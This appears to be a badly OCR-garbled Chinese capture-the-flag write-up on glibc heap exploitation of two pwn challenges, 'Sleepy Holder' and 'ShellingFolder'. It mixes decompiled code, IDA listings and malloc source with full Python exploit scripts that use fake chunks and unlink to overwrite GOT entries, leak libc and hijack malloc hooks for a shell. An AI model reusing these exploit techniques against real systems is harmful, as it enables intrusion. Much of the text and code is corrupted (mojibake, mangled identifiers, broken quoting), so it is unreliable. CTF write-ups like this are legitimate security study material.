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Hey! Do you have any secret?

I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret

2. Wipe secret

3. Renew secret
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puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(&s, 0, 4uLl);
read(0, &s, 4uLl);
vl = atoi(&s);
switch ( vo )
{
case 2:
free(big_ptr);
big num = ©;
break;
case 3:
free(huge_ptr);
huge_num = 0;
break;
case 1:
free(small_ptr);
small num = 0;
break;
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if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&&(mp_.n_mmaps < mp_.n_mmaps_max))
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mp_.n_mmaps_maxf&, W TFFiR:

unsigned long sum;
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
atomic_max (&mp_.max_mmapped_mem, sum);
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if (__builtin_expect (!prev_inuse(nextchunk), 0))

{

errstr = "double free or corruption (!prev)";
goto errout;
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.bss:0000000000602090
.bss:0000000000602090 ; Segment type: Uninitialized
.bss:0000000000602090 ; Segment permissions: Read/Write

.bss :0000000000602090 _bss segment para public 'BSS' use64

.bss :0000000000602090 assume cs:_bss

.bss :0000000000602090 ;org 602090h

.bss :0000000000602090 assume es:nothing, ss:nothing, ds:_data,
.bss :0000000000602090 public stdout

.bss:0000000000602090 ; FILE *stdout

.bss :0000000000602090 stdout dg ? ; DATA XREF:
.bss:0000000000602090 ; sub_4007B0+220 ...
.bss :0000000000602090 ; Copy of shared
.bss :0000000000602098 byte_602098 db ? ; DATA XREF:
.bss:0000000000602098 ; sub_400820+13w
.bss :0000000000602099 align 20h

.bss :00000000006020A0 ; void *big pointer

.bss :00000000006020A0 big pointer dg ? ; DATA XREF:

.bss :00000000006020A0 g

.bss :00000000006020A8 ; void *huge_pointer

.bss :00000000006020A8 huge_pointer dg ? ; DATA XREF:

.bss :00000000006020A8 8

.bss :00000000006020B0 ; void *small pointer

.bss :00000000006020B0 small pointer dq ? ; DATA XREF:
.bss:00000000006020B0 ; sub_40e86D+D3r ...
.bss :00000000006020B8 big jisu dd ? ; DATA XREF:

.bss :00000000006020B8 8
.bss:00000000006020BC huge_jisu dd ? ; DATA XREF:

.bss :00000000006020BC 8
.bss:00000000006020C0 small_ jisu dd ? ; DATA XREF:

.bss :00000000006020C0 ; sub_40086D+BFw ...
.bss :00000000006020C4 align 8

.bss :00000000006020C4 _bss ends

.bss:00000000006020C4
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1.keep huge

2.wipe huge //#&& T mp_.n_mmaps_maxHJ{&
3.keep small

4 keep big

5.wipe small

6.wipe big //ZREL & HE 8 5

7.keep huge /1 1& Dy HEHRZ5 14

8.wipe big //double free

9.renew big //overwrite big_pointer and huge_pointer
10.renew huge//overwrite free@got by puts@plt
XAE LT Mexptn T -

from zio import *
from struct import *

io=zio('./sh1',timeout=9999)
#io.gdb_hint()
ptr=0x6020A8

def BinToInt64(bin):
tuplel=unpack('Q"',bin[0:8])
print tuplel
stri=str(tuplel)
intl=int(stri[1:19])

print int1l

print hex(intl)

return hex(int1l)

fake_chunk=""
fake_chunk+=164(0)+164(33)
fake_chunk+=164(ptr-24)+164(ptr-16)
fake_chunk=fake_chunk.1ljust(32,'a")
fake_chunk+=164(32)+164(160)
fake_chunk=fake_chunk.1ljust(192,'b")
fake_chunk+=164(0)+164(161)
fake_chunk=fake_chunk.1ljust(352,'c")
fake_chunk+=164(0)+164(161)
fake_chunk=fake_chunk.1ljust(512,'d")

sc1=164(1)+164(0)+164(0x602018)+164(0x06020A0)+164(0x602030)#memset@got
sC2=164(0x4006C6)+164(0x4006C6)#puts@plt
sc3=164(0x602048)+164(0x06020A0)+164(0x0602040)# libc_start_main@got + read@got

io.read_until('3. Renew secret')i#keep huge
io.writeline('1")
io.read_until('3. Huge secret')
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writeline('3")
read_until('Tell me your secret:')

.writeline('xxx")

read_until('3. Renew secret')#wipe
writeline('2")

read_until('3. Huge secret')
writeline('3")

read_until('3. Renew secret')#keep
writeline('1")

read_until('3. Huge secret')
writeline('1")

read_until('Tell me your secret:')

.writeline( 'xxx")

read_until('3. Renew secret')tkeep
writeline('1")

read_until('3. Huge secret')
writeline('2")

read_until('Tell me your secret:')
writeline('xxx")

read_until('3. Renew secret')#wipe
writeline('2")
read_until('3. Huge secret')

.writeline('1")

read_until('3. Renew secret')#wipe
writeline('2")

read_until('3. Huge secret')
writeline('2")

read_until('3. Renew secret')#keep
writeline('1")

read_until('3. Huge secret')
writeline('3")

read_until('Tell me your secret:')

.writeline(fake_chunk)

read_until('3. Renew secret')#wipe
writeline('2")

read_until('3. Huge secret')
writeline('2")

huge

small

big

small

big

huge

big

read_until('3. Renew secret')#renew huge

writeline('3")
read_until('3. Huge secret')

.writeline('3")

read_until('Tell me your secret:')
writeline(scl)
read_until('3. Renew secret')#renew big

writeline('3")
read_until('3. Huge secret')

.writeline('2")

read_until('Tell me your secret:')

uwrnitalinalcr2)

unlink!!!
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#io.gdb_hint()

io.read_until('3. Renew secret')#wipe small #memset@got
io.writeline('2")

io.read_until('3. Huge secret')

io.writeline('1")

#io.read_until('3. Renew secret')

memset_got=io.read(20)

print 'memset@got===============
t1=BinToInt64(memset_got[0:8])
print hex(int(str(t1)[3:15],16))

io.read_until('3. Renew secret')#renew huge
io.writeline('3")

io.read_until('3. Huge secret')
io.writeline('3")

io.read_until('Tell me your secret:')
io.writeline(sc3)

io.read_until('3. Renew secret')#wipe small read@got
io.writeline('2")

io.read_until('3. Huge secret')

io.writeline('1")

read_got=io.read(20)

print 'read@got
t1=BinToInt64(read_got[0:8])
print hex(int(str(t1)[3:15],16))

io.read_until('3. Renew secret')#wipe big _libc_start_main@got
io.writeline('2")
io.read_until('3. Huge secret')
io.writeline('2")
libc_start=io.read(20)

print 'libc_start_main===========
t1=BinToInt64(libc_start[0:8])
print hex(int(str(t1)[3:15],16))

#io.gdb_hint()

io.read()

B Tlibc.SOBX # T A H ik i B A, B LR Bk R i@ fitleaklexp T, HJE B Gshell E2Z/[IEER LT, R
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3k 3k 3k >k 3k 3k >k >k 3k 3k >k 3k 3k 3k >k 3k 5k >k 3k 3k 3k >k %k 3k >k >k 3k 3k >k 3k 5k >k >k %k >k *k >k k

ShellingFolder
3k 3k 3k 3k >k >k 5k 5k 5k sk sk sk 3k >k >k ok ok 5k sk sk sk >k >k >k ok ok sk sk sk sk >k >k >k >k ok ok ok k
1.List the current folder
.Change the current folder
.Make a folder
.Create a file in current folder
.Remove a folder or a file

QA v A W N

.Caculate the size of folder

7.Exit
3k 3k 3k >k 3k 3k >k 3k 3k 5k >k 3k 3k 3k >k 3k 5k >k 3k 3k 3k >k 3k 3k >k >k 3k >k >k 3k 3k >k >k %k 5k *k >k k

Your choice:

EEFEEENSHINT:
BILR136A T

[80] child_pointer
[8] parents_pointer
[32] name

[8] size

[4] flag

HpE— A EERAE CTEWIES, 101 WA PNEXRZREBIONTEH. B MR E K
e, WAEHCK LS4, F=AEEEINEHRAR. BUMEFRZNFRIRAD, EERARENS
PR SO A i sizedgle B JE — M RBRIZAGE MR B FIE RS

REEEIE2NA, BERREEERR, EERPEFAEREZHEN. TURIAFE MR NEYESR
HREAZR, W HRBATA DATHE AR B RS X sHI R/ 244 77

-0000000000000030 s db ?

-00000000000O2F db ? ; undefined
-0000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-00000000000VO1F db ? ; undefined
-000000000000VO1E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined

-0000000000000018 var_18 dgq ?
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while ( v4 <=9 )

{
if ( *(_QWORD *)(al + 8LL * v4) )

{
v3 = al + 120;

Mycopy(&s, (const char *)(*(_QWORD *)(al + 8LL * v4) + 88LL));
if ( *(_DWORD *)(*(_QWORD *)(al + 8LL * v4) + 128LL) == 1 )

{
*(_QWORD *)v3 = *(_QWORD *)v3;

}

else

{
printf("%s : size %1d\n", &s, *(_QWORD *)(*(_QWORD *)(al + 8LL * v4) + 120LL));
*(_QWORD *)v3 += *(_QWORD *)(*(_QWORD *)(al + 8LL * v4) + 120LL);
}
}

++v4;

MXAMVIFIMEER—NMEE, ZESWEXAMREfE P ER— A IERE, RAITXER*(QWORD )
(_LQWORD )(at + 8LL v4) + 120LL)#fE H S22 < AT B 1) 2450 H 3 T B30 Rsizefi . ERAXAMER A P
FEHlf, W B IER SR . HTIMERERTIE 5, FUXMAHESTRENR T —/ MEEHULE (write-
anything-anywhere) K% .

FBANRTEB LB T, EIEE ZIKIMyCopy R $id, BA 4% N7 4F 5 n_E 75 5 S5 R4

void *__fastcall Mycopy(void *al, const char *a2)

{
size_t n; // ST28_8@1

n = strlen(a2);
return memcpy(al, a2, n);

}

X IERBG 1 NAFEE R DIRE, A4 FA T AT BEA XA IR T >R SE D st k- 0

MARKERE A ITFPIERY, AR MERRE R, T GBS E RIS XK SbssB LFH 12450 H RII4E
B, Ritd HHgotRIME, MREENEE R Tlibe, Frolw UESEFE Bk, BARESMLES S Slgotk +
A LAZ Zshell T .

R, ERPETFHERT, BAFEE - NHiIh£5, FOARAEERKIE RN ER .. Brilix BAE
MBI TTER M B i iadik, BATR A H AR+ 525475 D& o B AR



__inte4 _ fastcall sub_1334(__int64 al)

{
if ( la1l )
exit(1);
v4 = 0;
memset(&s, @, Ox20uLlL);
while ( v4 <=9 )

{
if ( *(_QWORD *)(al + 8LL * v4) )

{
v3 = al + 120;

Mycopy(&s, (const char *)(*(_QWORD *)(al + 8LL * v4) + 88LL));

AT LLE BIX VBB R AR BB BT RS Ta1+120/, MalRH4ame? alR2RH2EE0x202020t 5
& 4H H RS TREr . IBAVIHIMERSLRIE M M4ET B R LW HIsize 1), BRAIAESsizeld M 5 E A OX7 811k
%, GRAEESHEIT A AR A 4 B AT CASE I 25 3 104N R EF R IR —AS, FRIEERRABRIMER E X7 .
RIS listThRER AT LASE IR N F T .

BAREIERA e M EIR? RANBEEEZ—T, BTN DUIE N 72 B N freelR S K T EE fdfIbkig 4, 3R
ABAME M BE R WE - SX SRR, A5 EEEA T L IE.

B R 78 5 fa et (R b 3043, X PP 7 VA A S E R8I A W K 22 R AT AT AR ) — AMm 8 LA R e a4 18
MX B2 JE R, BRI NFEE, FoEptmallocH, —ANEEEBRUS & #% Aunsorted binH,
RERMN G881 2 )5 H Funsorted binftifdFIbka4t it v LAIREX B bins[[#ukik, AT Hlibof) 2 ik .

—BIRB T libc bt — VI B R T, FAEE SER4E TlibcX . FreABRAT L EEHE B RAITEE
bk FElibcrhFEE —NEEFHKME, B Eptmallocki—ZRFIhook ¥, BATAT LA libcktsht 5 H
free_hookiilk, #RJ5#Emagic systemB Afree_hook. 2 J&, HBEAIE R freet $nt st &8 M IRAIE
free_hookH 8 2 fmagic systemT .

BROCEHEBET.

1. 80884
2.6 — N AT i ST
3EBA R R LN, B A unsorted bin

2.3HE R/
BHHAUMERTHAL
expin T :

from zio import *
from struct import *
io=zio('./sf',timeout=9999)

#io.gdb_hint()

def BinToInt64(bin):
tuplel=unpack('Q',bin[0:8])
print tuplel
strl=str(tuplel)
intl=int(stri[1:19])
print int1l
print hex(int1)
return hex(intl)

name_overflow=""
name_overflow=name_overflow.ljust(24,'a"')+"'\x28"



offset="'200"

i=0

for i in range(9,8):
io.read_until('Your choice:')#create file x8
io.writeline('4")
io.read_until('Name of File:')
io.writeline(str(i))
io.read_until('Size of File:')
io.writeline('100")

i+=1

io.read_until('Your choice:')#create file
io.writeline('4")

io.read_until('Name of File:')
io.writeline(name_overflow)
io.read_until('Size of File:')
io.writeline(offset)

i=5

for i in range(5,8):
io.read_until('Your choice:')#remove file
io.writeline('5")
io.read_until('Choose a Folder or file :')
io.writeline(str(i))
i+=1

#io.gdb_hint()
io.read_until('Your choice:')#Caculate size
io.writeline('6")

io.read_until('Your choice:')#list folder

io.writeline('1")

io.read_until('2")
get=io.read(8)
addr=BinToInt64(get)
addr=int(str(addr[3:15]),16)
print hex(addr)

io.read()

BIAT 78 Blbinsk etk 4R )5 H#EE Hmalloc_hookidhht. BA1 N T FIH 5 & F 4 F T magic system, 2R /5%
PR BT T B94F B bt B 3B magic systemfJ ik S Fmalloc_hook b. 22 J5 23R4T ¥ fih & mallockt 7T AR B )15 2
shell,
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Waking Sleepy Holder up ...

Hey! Do you have any secret?

I can help you to hold your secrets, and no one will be able to see it

1. Keep secret

2. Wipe secret

3.

Renew secret

HAgURR R4 Asmall (40) . big (4000) . huge (400000) =7

_int64 keep()

{

int vO; // eax@3
char s; // [sp+10h] [bp-10h]@3
__int64 v3; // [sp+18h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);
puts("What secret do you want to keep?");
puts("1l. Small secret");
puts(“2. Big secret");
if ( 'huge_jisu )
puts("3. Keep a huge secret and lock it forever");
memset(&s, 0, 4uLl);
read(0, &s, 4ulLl);
vl = atoi(&s);
if (vo ==2)
{
if ( !big_jisu )
{
big pointer = calloc(lulLL, 4000uLL);
big jisu = 1;
puts("Tell me your secret: ");
read(@, big pointer, 4000uLL);

)
else if ( v@ == 3 )
{
if ( 'huge_jisu )
{
huge_pointer = calloc(luLL, 400000uLL);
huge_jisu = 1;
puts("Tell me your secret: ");
read(@, huge pointer, 400000ulLL);

}

else if ( vO == 1 && !small_jisu )

{
small pointer = calloc(luLL, 40ulLL);
small_jisu = 1;
puts("Tell me your secret: ");
read(9, small pointer, 40uLL);

}
return *MK_FP(__FS__, 40LL) ~ v3;

Rt RBERE R EEE, FEAHEZHEE, FrUUAFRRKRREE
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__int64 wipe()

{
int vO; // eax@l
char s; // [sp+1@h] [bp-16h]@1
__int64 v3; // [sp+18h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);

puts("Which Secret do you want to wipe?");
puts("1. Small secret");

puts("2. Big secret");

memset(&s, 0, 4uLl);

read(0, &s, 4ulLl);

vl = atoi(&s);

if (ve==1)

{

free(small_pointer);

small_jisu = @; /I REBEZFIHH, HFEEEZREH
}
else if (vO == 2 )
{

free(big_pointer);

big_jisu = ©; [/ REZRUTH, FHREBERR
}
return *MK_FP(__FS__, 40LL) ~ v3;

FIXBERNMZBIRBXEEE5PWn100MER T, #ihugett R LGSR —K, I HIGER.

B A Sy AT, ARAARHitcon CTRFE T 2 (AIEeR217? ) XEF A BB RERELE A
1, EZEZATEMAREAE HILH

£ ptmallocH 43 Bi —4Marge binfJEH&, £ Fmalloc_consolidate() & £k & ki fastbin i3k .

HARBRIEI T

else //%4 Elarge binkt
{

idx = largebin_index(nb);
if (have_fastchunks(av))
malloc_consolidate(av);

malloc_consolidate i $ 3 5t R £ 77 fE fastbin i ik AT #4F



static void malloc_consolidate(mstate av)

{
Jfcoo
if (get_max_fast () != @) //HfastbinfF7ERT
{
0 coo
do
{
0 oo
do
{
[ coo
if (!prev_inuse(p)) //&¥fastbinF BT
{
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
}
ffcoa
} while ( (p = nextp) != @); //#Pi—%fastbinBREKE B
lwhile (fb++ != maxfb); //EPig—%fastbin®ER
}
else //%fastbinNFFELERS
{
ff oo
}
}

H i 2 B fastbind IR EPRE R ERNZ, FARANIFETastbin FIHUR i &40 T3 ARSI, 52 ifastbind /)
Ja R ipre_inusefi A% B 1. (B, —Bfiik T malloc_consolidate & st <1 fastbindt £ A small bint 3 H.#%
BABBURE, BT —3MKpre_inuseld ~O0.

keep small

keep big //Bilksmall 5bigé& 3

wipe small //small#kAfastbinZk

keep huge //43 M 1large binffifgfastbindti#t Asmall bin
wipe small //FRfreeF]—AH, RANTILEFETFfastbin®gH

keep small //fastbinfMBiREEL T, Z BIBEBII N FHIRIE (FEXRNFEHAR RIS
wipe big //unlink

renew small //BE#RE, BERRERMLE

0 N O VA~ W N R

XEBA AR SR, 40 large binfiitig, £iEfastbinfIik NfreelRzs, I HEBtsmall binsd. Mi{E45
fastbin5 [ KIbig chunkfjinusefz 0. Z J& 1 H fmh & B R R EIX AN A0inusehs, & 5 7EX AN B Al H B HTE
=] AEA~small bin, Sl & unlinki B E & Huhk 5

B A Bchugedt (large bin) BI& Xt RN T fil &k malloc_consolidate i, T4 — kB ffastbingk &2 N T ik e
N\ FfastbingEz o, T B4 B i 5 =2 Mfastbin 2 Boid Sk 1) 1% BB 4 B A AL 5 Kinusels .

BT BAE AN SR B T X R — F0 P )&

1. \fastbinr B A% B 5 - fpre_inusefi.

2.malloc_consolidate£Efastbinf 5 Htpre_inusefiid % .

FFHMAITER A Runlink, BT HREEE, REWULSHEHNESATSBESMLES. TSRS
Pwn1008E1R BT .



3 T https://www.cnblogs.com/Ox9A82/p/6766261.html
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